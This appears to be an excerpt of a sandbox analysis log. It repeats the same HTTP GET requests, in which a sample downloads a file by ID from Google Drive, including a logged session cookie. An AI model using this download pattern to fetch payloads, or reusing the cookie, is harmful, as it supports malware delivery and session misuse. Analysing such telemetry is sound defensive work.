Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: drive.google.comCache-Control: no-cacheCookie: NID=520=M_ZM-qe0hZo3co2jd_WzZQpOKAaaZ0wi4mOh41YgqjGKGA8htFwOP-1NuMf6H-D4Na57_6kYnXw5n5OzZ8eDZ817p3o0OIITe39NmNWcEZDsNL2ijJLZYCvkerixY4B_quLIpw6a72D0g0KMjdV3713OOoI1Lx9joBxAqNjPcgyfLWinVWR0ZxAslRVhGQ
Source: global traffic	HTTP traffic detected: GET /download?id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=M_ZM-qe0hZo3co2jd_WzZQpOKAaaZ0wi4mOh41YgqjGKGA8htFwOP-1NuMf6H-D4Na57_6kYnXw5n5OzZ8eDZ817p3o0OIITe39NmNWcEZDsNL2ijJLZYCvkerixY4B_quLIpw6a72D0g0KMjdV3713OOoI1Lx9joBxAqNjPcgyfLWinVWR0ZxAslRVhGQ
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: drive.google.comCache-Control: no-cacheCookie: NID=520=M_ZM-qe0hZo3co2jd_WzZQpOKAaaZ0wi4mOh41YgqjGKGA8htFwOP-1NuMf6H-D4Na57_6kYnXw5n5OzZ8eDZ817p3o0OIITe39NmNWcEZDsNL2ijJLZYCvkerixY4B_quLIpw6a72D0g0KMjdV3713OOoI1Lx9joBxAqNjPcgyfLWinVWR0ZxAslRVhGQ
Source: global traffic	HTTP traffic detected: GET /download?id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=M_ZM-qe0hZo3co2jd_WzZQpOKAaaZ0wi4mOh41YgqjGKGA8htFwOP-1NuMf6H-D4Na57_6kYnXw5n5OzZ8eDZ817p3o0OIITe39NmNWcEZDsNL2ijJLZYCvkerixY4B_quLIpw6a72D0g0KMjdV3713OOoI1Lx9joBxAqNjPcgyfLWinVWR0ZxAslRVhGQ
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: drive.google.comCache-Control: no-cacheCookie: NID=520=M_ZM-qe0hZo3co2jd_WzZQpOKAaaZ0wi4mOh41YgqjGKGA8htFwOP-1NuMf6H-D4Na57_6kYnXw5n5OzZ8eDZ817p3o0OIITe39NmNWcEZDsNL2ijJLZYCvkerixY4B_quLIpw6a72D0g0KMjdV3713OOoI1Lx9joBxAqNjPcgyfLWinVWR0ZxAslRVhGQ
Source: global traffic	HTTP traffic detected: GET /download?id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=M_ZM-qe0hZo3co2jd_WzZQpOKAaaZ0wi4mOh41YgqjGKGA8htFwOP-1NuMf6H-D4Na57_6kYnXw5n5OzZ8eDZ817p3o0OIITe39NmNWcEZDsNL2ijJLZYCvkerixY4B_quLIpw6a72D0g0KMjdV3713OOoI1Lx9joBxAqNjPcgyfLWinVWR0ZxAslRVhGQ
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: drive.google.comCache-Control: no-cacheCookie: NID=520=M_ZM-qe0hZo3co2jd_WzZQpOKAaaZ0wi4mOh41YgqjGKGA8htFwOP-1NuMf6H-D4Na57_6kYnXw5n5OzZ8eDZ817p3o0OIITe39NmNWcEZDsNL2ijJLZYCvkerixY4B_quLIpw6a72D0g0KMjdV3713OOoI1Lx9joBxAqNjPcgyfLWinVWR0ZxAslRVhGQ
Source: global traffic	HTTP traffic detected: GET /download?id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=M_ZM-qe0hZo3co2jd_WzZQpOKAaaZ0wi4mOh41YgqjGKGA8htFwOP-1NuMf6H-D4Na57_6kYnXw5n5OzZ8eDZ817p3o0OIITe39NmNWcEZDsNL2ijJLZYCvkerixY4B_quLIpw6a72D0g0KMjdV3713OOoI1Lx9joBxAqNjPcgyfLWinVWR0ZxAslRVhGQ
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: drive.google.comCache-Control: no-cacheCookie: NID=520=M_ZM-qe0hZo3co2jd_WzZQpOKAaaZ0wi4mOh41YgqjGKGA8htFwOP-1NuMf6H-D4Na57_6kYnXw5n5OzZ8eDZ817p3o0OIITe39NmNWcEZDsNL2ijJLZYCvkerixY4B_quLIpw6a72D0g0KMjdV3713OOoI1Lx9joBxAqNjPcgyfLWinVWR0ZxAslRVhGQ
Source: global traffic	HTTP traffic detected: GET /download?id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=M_ZM-qe0hZo3co2jd_WzZQpOKAaaZ0wi4mOh41YgqjGKGA8htFwOP-1NuMf6H-D4Na57_6kYnXw5n5OzZ8eDZ817p3o0OIITe39NmNWcEZDsNL2ijJLZYCvkerixY4B_quLIpw6a72D0g0KMjdV3713OOoI1Lx9joBxAqNjPcgyfLWinVWR0ZxAslRVhGQ
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: drive.google.comCache-Control: no-cacheCookie: NID=520=M_ZM-qe0hZo3co2jd_WzZQpOKAaaZ0wi4mOh41YgqjGKGA8htFwOP-1NuMf6H-D4Na57_6kYnXw5n5OzZ8eDZ817p3o0OIITe39NmNWcEZDsNL2ijJLZYCvkerixY4B_quLIpw6a72D0g0KMjdV3713OOoI1Lx9joBxAqNjPcgyfLWinVWR0ZxAslRVhGQ
Source: global traffic	HTTP traffic detected: GET /download?id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=M_ZM-qe0hZo3co2jd_WzZQpOKAaaZ0wi4mOh41YgqjGKGA8htFwOP-1NuMf6H-D4Na57_6kYnXw5n5OzZ8eDZ817p3o0OIITe39NmNWcEZDsNL2ijJLZYCvkerixY4B_quLIpw6a72D0g0KMjdV3713OOoI1Lx9joBxAqNjPcgyfLWinVWR0ZxAslRVhGQ
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: drive.google.comCache-Control: no-cacheCookie: NID=520=M_ZM-qe0hZo3co2jd_WzZQpOKAaaZ0wi4mOh41YgqjGKGA8htFwOP-1NuMf6H-D4Na57_6kYnXw5n5OzZ8eDZ817p3o0OIITe39NmNWcEZDsNL2ijJLZYCvkerixY4B_quLIpw6a72D0g0KMjdV3713OOoI1Lx9joBxAqNjPcgyfLWinVWR0ZxAslRVhGQ
Source: global traffic	HTTP traffic detected: GET /download?id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=M_ZM-qe0hZo3co2jd_WzZQpOKAaaZ0wi4mOh41YgqjGKGA8htFwOP-1NuMf6H-D4Na57_6kYnXw5n5OzZ8eDZ817p3o0OIITe39NmNWcEZDsNL2ijJLZYCvkerixY4B_quLIpw6a72D0g0KMjdV3713OOoI1Lx9joBxAqNjPcgyfLWinVWR0ZxAslRVhGQ
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: drive.google.comCache-Control: no-cacheCookie: NID=520=M_ZM-qe0hZo3co2jd_WzZQpOKAaaZ0wi4mOh41YgqjGKGA8htFwOP-1NuMf6H-D4Na57_6kYnXw5n5OzZ8eDZ817p3o0OIITe39NmNWcEZDsNL2ijJLZYCvkerixY4B_quLIpw6a72D0g0KMjdV3713OOoI1Lx9joBxAqNjPcgyfLWinVWR0ZxAslRVhGQ
Source: global traffic	HTTP traffic detected: GET /download?id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=M_ZM-qe0hZo3co2jd_WzZQpOKAaaZ0wi4mOh41YgqjGKGA8htFwOP-1NuMf6H-D4Na57_6kYnXw5n5OzZ8eDZ817p3o0OIITe39NmNWcEZDsNL2ijJLZYCvkerixY4B_quLIpw6a72D0g0KMjdV3713OOoI1Lx9joBxAqNjPcgyfLWinVWR0ZxAslRVhGQ
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: drive.google.comCache-Control: no-cacheCookie: NID=520=M_ZM-qe0hZo3co2jd_WzZQpOKAaaZ0wi4mOh41YgqjGKGA8htFwOP-1NuMf6H-D4Na57_6kYnXw5n5OzZ8eDZ817p3o0OIITe39NmNWcEZDsNL2ijJLZYCvkerixY4B_quLIpw6a72D0g0KMjdV3713OOoI1Lx9joBxAqNjPcgyfLWinVWR0ZxAslRVhGQ
Source: global traffic	HTTP traffic detected: GET /download?id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=M_ZM-qe0hZo3co2jd_WzZQpOKAaaZ0wi4mOh41YgqjGKGA8htFwOP-1NuMf6H-D4Na57_6kYnXw5n5OzZ8eDZ817p3o0OIITe39NmNWcEZDsNL2ijJLZYCvkerixY4B_quLIpw6a72D0g0KMjdV3713OOoI1Lx9joBxAqNjPcgyfLWinVWR0ZxAslRVhGQ
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: drive.google.comCache-Control: no-cacheCookie: NID=520=M_ZM-qe0hZo3co2jd_WzZQpOKAaaZ0wi4mOh41YgqjGKGA8htFwOP-1NuMf6H-D4Na57_6kYnXw5n5OzZ8eDZ817p3o0OIITe39NmNWcEZDsNL2ijJLZYCvkerixY4B_quLIpw6a72D0g0KMjdV3713OOoI1Lx9joBxAqNjPcgyfLWinVWR0ZxAslRVhGQ
Source: global traffic	HTTP traffic detected: GET /download?id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=M_ZM-qe0hZo3co2jd_WzZQpOKAaaZ0wi4mOh41YgqjGKGA8htFwOP-1NuMf6H-D4Na57_6kYnXw5n5OzZ8eDZ817p3o0OIITe39NmNWcEZDsNL2ijJLZYCvkerixY4B_quLIpw6a72D0g0KMjdV3713OOoI1Lx9joBxAqNjPcgyfLWinVWR0ZxAslRVhGQ
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: drive.google.comCache-Control: no-cacheCookie: NID=520=M_ZM-qe0hZo3co2jd_WzZQpOKAaaZ0wi4mOh41YgqjGKGA8htFwOP-1NuMf6H-D4Na57_6kYnXw5n5OzZ8eDZ817p3o0OIITe39NmNWcEZDsNL2ijJLZYCvkerixY4B_quLIpw6a72D0g0KMjdV3713OOoI1Lx9joBxAqNjPcgyfLWinVWR0ZxAslRVhGQ
Source: global traffic	HTTP traffic detected: GET /download?id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=M_ZM-qe0hZo3co2jd_WzZQpOKAaaZ0wi4mOh41YgqjGKGA8htFwOP-1NuMf6H-D4Na57_6kYnXw5n5OzZ8eDZ817p3o0OIITe39NmNWcEZDsNL2ijJLZYCvkerixY4B_quLIpw6a72D0g0KMjdV3713OOoI1Lx9joBxAqNjPcgyfLWinVWR0ZxAslRVhGQ
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: drive.google.comCache-Control: no-cacheCookie: NID=520=M_ZM-qe0hZo3co2jd_WzZQpOKAaaZ0wi4mOh41YgqjGKGA8htFwOP-1NuMf6H-D4Na57_6kYnXw5n5OzZ8eDZ817p3o0OIITe39NmNWcEZDsNL2ijJLZYCvkerixY4B_quLIpw6a72D0g0KMjdV3713OOoI1Lx9joBxAqNjPcgyfLWinVWR0ZxAslRVhGQ
Source: global traffic	HTTP traffic detected: GET /download?id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=M_ZM-qe0hZo3co2jd_WzZQpOKAaaZ0wi4mOh41YgqjGKGA8htFwOP-1NuMf6H-D4Na57_6kYnXw5n5OzZ8eDZ817p3o0OIITe39NmNWcEZDsNL2ijJLZYCvkerixY4B_quLIpw6a72D0g0KMjdV3713OOoI1Lx9joBxAqNjPcgyfLWinVWR0ZxAslRVhGQ
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: drive.google.comCache-Control: no-cacheCookie: NID=520=M_ZM-qe0hZo3co2jd_WzZQpOKAaaZ0wi4mOh41YgqjGKGA8htFwOP-1NuMf6H-D4Na57_6kYnXw5n5OzZ8eDZ817p3o0OIITe39NmNWcEZDsNL2ijJLZYCvkerixY4B_quLIpw6a72D0g0KMjdV3713OOoI1Lx9joBxAqNjPcgyfLWinVWR0ZxAslRVhGQ
Source: global traffic	HTTP traffic detected: GET /download?id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=M_ZM-qe0hZo3co2jd_WzZQpOKAaaZ0wi4mOh41YgqjGKGA8htFwOP-1NuMf6H-D4Na57_6kYnXw5n5OzZ8eDZ817p3o0OIITe39NmNWcEZDsNL2ijJLZYCvkerixY4B_quLIpw6a72D0g0KMjdV3713OOoI1Lx9joBxAqNjPcgyfLWinVWR0ZxAslRVhGQ
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: drive.google.comCache-Control: no-cacheCookie: NID=520=M_ZM-qe0hZo3co2jd_WzZQpOKAaaZ0wi4mOh41YgqjGKGA8htFwOP-1NuMf6H-D4Na57_6kYnXw5n5OzZ8eDZ817p3o0OIITe39NmNWcEZDsNL2ijJLZYCvkerixY4B_quLIpw6a72D0g0KMjdV3713OOoI1Lx9joBxAqNjPcgyfLWinVWR0ZxAslRVhGQ
Source: global traffic	HTTP traffic detected: GET /download?id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=M_ZM-qe0hZo3co2jd_WzZQpOKAaaZ0wi4mOh41YgqjGKGA8htFwOP-1NuMf6H-D4Na57_6kYnXw5n5OzZ8eDZ817p3o0OIITe39NmNWcEZDsNL2ijJLZYCvkerixY4B_quLIpw6a72D0g0KMjdV3713OOoI1Lx9joBxAqNjPcgyfLWinVWR0ZxAslRVhGQ
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: drive.google.comCache-Control: no-cacheCookie: NID=520=M_ZM-qe0hZo3co2jd_WzZQpOKAaaZ0wi4mOh41YgqjGKGA8htFwOP-1NuMf6H-D4Na57_6kYnXw5n5OzZ8eDZ817p3o0OIITe39NmNWcEZDsNL2ijJLZYCvkerixY4B_quLIpw6a72D0g0KMjdV3713OOoI1Lx9joBxAqNjPcgyfLWinVWR0ZxAslRVhGQ
Source: global traffic	HTTP traffic detected: GET /download?id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=M_ZM-qe0hZo3co2jd_WzZQpOKAaaZ0wi4mOh41YgqjGKGA8htFwOP-1NuMf6H-D4Na57_6kYnXw5n5OzZ8eDZ817p3o0OIITe39NmNWcEZDsNL2ijJLZYCvkerixY4B_quLIpw6a72D0g0KMjdV3713OOoI1Lx9joBxAqNjPcgyfLWinVWR0ZxAslRVhGQ
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: drive.google.comCache-Control: no-cacheCookie: NID=520=M_ZM-qe0hZo3co2jd_WzZQpOKAaaZ0wi4mOh41YgqjGKGA8htFwOP-1NuMf6H-D4Na57_6kYnXw5n5OzZ8eDZ817p3o0OIITe39NmNWcEZDsNL2ijJLZYCvkerixY4B_quLIpw6a72D0g0KMjdV3713OOoI1Lx9joBxAqNjPcgyfLWinVWR0ZxAslRVhGQ
Source: global traffic	HTTP traffic detected: GET /download?id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=M_ZM-qe0hZo3co2jd_WzZQpOKAaaZ0wi4mOh41YgqjGKGA8htFwOP-1NuMf6H-D4Na57_6kYnXw5n5OzZ8eDZ817p3o0OIITe39NmNWcEZDsNL2ijJLZYCvkerixY4B_quLIpw6a72D0g0KMjdV3713OOoI1Lx9joBxAqNjPcgyfLWinVWR0ZxAslRVhGQ
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: drive.google.comCache-Control: no-cacheCookie: NID=520=M_ZM-qe0hZo3co2jd_WzZQpOKAaaZ0wi4mOh41YgqjGKGA8htFwOP-1NuMf6H-D4Na57_6kYnXw5n5OzZ8eDZ817p3o0OIITe39NmNWcEZDsNL2ijJLZYCvkerixY4B_quLIpw6a72D0g0KMjdV3713OOoI1Lx9joBxAqNjPcgyfLWinVWR0ZxAslRVhGQ
Source: global traffic	HTTP traffic detected: GET /download?id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=M_ZM-qe0hZo3co2jd_WzZQpOKAaaZ0wi4mOh41YgqjGKGA8htFwOP-1NuMf6H-D4Na57_6kYnXw5n5OzZ8eDZ817p3o0OIITe39NmNWcEZDsNL2ijJLZYCvkerixY4B_quLIpw6a72D0g0KMjdV3713OOoI1Lx9joBxAqNjPcgyfLWinVWR0ZxAslRVhGQ
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: drive.google.comCache-Control: no-cacheCookie: NID=520=M_ZM-qe0hZo3co2jd_WzZQpOKAaaZ0wi4mOh41YgqjGKGA8htFwOP-1NuMf6H-D4Na57_6kYnXw5n5OzZ8eDZ817p3o0OIITe39NmNWcEZDsNL2ijJLZYCvkerixY4B_quLIpw6a72D0g0KMjdV3713OOoI1Lx9joBxAqNjPcgyfLWinVWR0ZxAslRVhGQ
Source: global traffic	HTTP traffic detected: GET /download?id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=M_ZM-qe0hZo3co2jd_WzZQpOKAaaZ0wi4mOh41YgqjGKGA8htFwOP-1NuMf6H-D4Na57_6kYnXw5n5OzZ8eDZ817p3o0OIITe39NmNWcEZDsNL2ijJLZYCvkerixY4B_quLIpw6a72D0g0KMjdV3713OOoI1Lx9joBxAqNjPcgyfLWinVWR0ZxAslRVhGQ
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: drive.google.comCache-Control: no-cacheCookie: NID=520=M_ZM-qe0hZo3co2jd_WzZQpOKAaaZ0wi4mOh41YgqjGKGA8htFwOP-1NuMf6H-D4Na57_6kYnXw5n5OzZ8eDZ817p3o0OIITe39NmNWcEZDsNL2ijJLZYCvkerixY4B_quLIpw6a72D0g0KMjdV3713OOoI1Lx9joBxAqNjPcgyfLWinVWR0ZxAslRVhGQ
Source: global traffic	HTTP traffic detected: GET /download?id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=M_ZM-qe0hZo3co2jd_WzZQpOKAaaZ0wi4mOh41YgqjGKGA8htFwOP-1NuMf6H-D4Na57_6kYnXw5n5OzZ8eDZ817p3o0OIITe39NmNWcEZDsNL2ijJLZYCvkerixY4B_quLIpw6a72D0g0KMjdV3713OOoI1Lx9joBxAqNjPcgyfLWinVWR0ZxAslRVhGQ
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: drive.google.comCache-Control: no-cacheCookie: NID=520=M_ZM-qe0hZo3co2jd_WzZQpOKAaaZ0wi4mOh41YgqjGKGA8htFwOP-1NuMf6H-D4Na57_6kYnXw5n5OzZ8eDZ817p3o0OIITe39NmNWcEZDsNL2ijJLZYCvkerixY4B_quLIpw6a72D0g0KMjdV3713OOoI1Lx9joBxAqNjPcgyfLWinVWR0ZxAslRVhGQ
Source: global traffic	HTTP traffic detected: GET /download?id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=M_ZM-qe0hZo3co2jd_WzZQpOKAaaZ0wi4mOh41YgqjGKGA8htFwOP-1NuMf6H-D4Na57_6kYnXw5n5OzZ8eDZ817p3o0OIITe39NmNWcEZDsNL2ijJLZYCvkerixY4B_quLIpw6a72D0g0KMjdV3713OOoI1Lx9joBxAqNjPcgyfLWinVWR0ZxAslRVhGQ
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: drive.google.comCache-Control: no-cacheCookie: NID=520=M_ZM-qe0hZo3co2jd_WzZQpOKAaaZ0wi4mOh41YgqjGKGA8htFwOP-1NuMf6H-D4Na57_6kYnXw5n5OzZ8eDZ817p3o0OIITe39NmNWcEZDsNL2ijJLZYCvkerixY4B_quLIpw6a72D0g0KMjdV3713OOoI1Lx9joBxAqNjPcgyfLWinVWR0ZxAslRVhGQ
Source: global traffic	HTTP traffic detected: GET /download?id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=M_ZM-qe0hZo3co2jd_WzZQpOKAaaZ0wi4mOh41YgqjGKGA8htFwOP-1NuMf6H-D4Na57_6kYnXw5n5OzZ8eDZ817p3o0OIITe39NmNWcEZDsNL2ijJLZYCvkerixY4B_quLIpw6a72D0g0KMjdV3713OOoI1Lx9joBxAqNjPcgyfLWinVWR0ZxAslRVhGQ
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: drive.google.comCache-Control: no-cacheCookie: NID=520=M_ZM-qe0hZo3co2jd_WzZQpOKAaaZ0wi4mOh41YgqjGKGA8htFwOP-1NuMf6H-D4Na57_6kYnXw5n5OzZ8eDZ817p3o0OIITe39NmNWcEZDsNL2ijJLZYCvkerixY4B_quLIpw6a72D0g0KMjdV3713OOoI1Lx9joBxAqNjPcgyfLWinVWR0ZxAslRVhGQ
